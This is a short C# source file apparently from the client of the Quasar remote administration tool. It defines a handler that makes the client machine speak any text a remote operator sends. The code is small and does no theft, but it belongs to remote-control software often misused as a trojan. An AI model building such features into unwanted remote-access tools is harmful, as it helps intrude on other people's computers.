using Quasar.Common.Messages; using Quasar.Common.Networking; using System.Speech.Synthesis; namespace Quasar.Client.Messages { public class TextToSpeechHandler : IMessageProcessor { private readonly SpeechSynthesizer _synth = new SpeechSynthesizer(); public bool CanExecute(IMessage message) => message is DoTextToSpeech; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text)) _synth.SpeakAsync(tts.Text); } } }